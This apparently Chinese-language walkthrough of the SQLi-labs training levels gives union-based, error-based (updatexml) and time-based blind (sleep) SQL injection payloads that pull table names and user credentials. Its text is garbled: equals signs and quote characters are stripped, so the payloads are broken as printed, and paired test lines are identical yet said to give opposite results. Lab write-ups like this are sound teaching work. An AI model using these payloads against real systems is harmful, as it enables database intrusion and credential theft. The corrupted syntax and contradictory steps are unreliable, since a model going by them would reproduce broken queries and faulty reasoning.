第一关1.判断注入类型?id1 and 12 -- //不显示用户名 ?id1 and 12 -- //正常显示用户名 //所以第一关是字符型12生效则为字符型注入2.order by 判断行数?id1 order by 3 -- //正常显示 ?id1 order by 4 -- //报错 //所以user表是3列3判断回显位置位置?id-1 union select 1,2,3 -- //用union查询并且让前面的id-1报错。结果显示回显位置为234.注入获取数据可以用tables()得到表名?id-1 union select 1,2,group_concat(username , password) from users--第二关和第一关几乎一样只是第二关为数字型?id1 and 12 -- //正常显示用户名 ?id1 and 12 -- //不显示用户名 //所以第二关是数字型获取到数据第三关在url输入?id1和?id1在输入?id1时出现报错并且报错中有“ ) ”的提示。只能不断尝试最后发现闭合为 ?id1) and 12 --重复第一关order by 判断回显以及最后注入操作?id-1) union select 1,2,group_concat(username , password) from users--第四关第四关相较于第三关只是将 ‘ 改成了 “ 其他没有什么不同?id-1) union select 1,2,group_concat(username , password) from users--第五关输入?id1 ?id1 ?id1判断类型发现只有单引号’ 的结果不同所以是字符型单引号闭合?id1 and 12 //单引号闭合 ?id1 order by 4 //发现到第四行时报错所以时三列但是在判断回显时发现并没有回显但是在判断回显时发现并没有回显所以不再使用联合查询而是使用报错注入得到表名报错注入的函数主要用updatemxlextractvalue()在ASCII码表中0x7e这个十六进制数代表符号~~这个符号在xpath语法中是不存在的因此总能报错。?id1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,32)),1)--最后得到数据第九关在判断时发现页面没有任何报错和反应我们使用sleep() 函数来判断试试?id1 and if(length((select database()))6,sleep(5),1)-- //页面延迟五秒刷新,说明数据库长度是大于6的,以此类推可以猜出数据库名长度可以用比较的方式来慢慢猜出表名字段长度和substr字段名的字符。?id1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))101,sleep(5),1)-- //页面延迟五秒刷新,说明表名第一个字母为e,以此类推可以猜出表名 ?id1 and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))10,sleep(5),1)-- //判断所有字段名长度用这种方法就可以慢慢得出我们想要的内容总结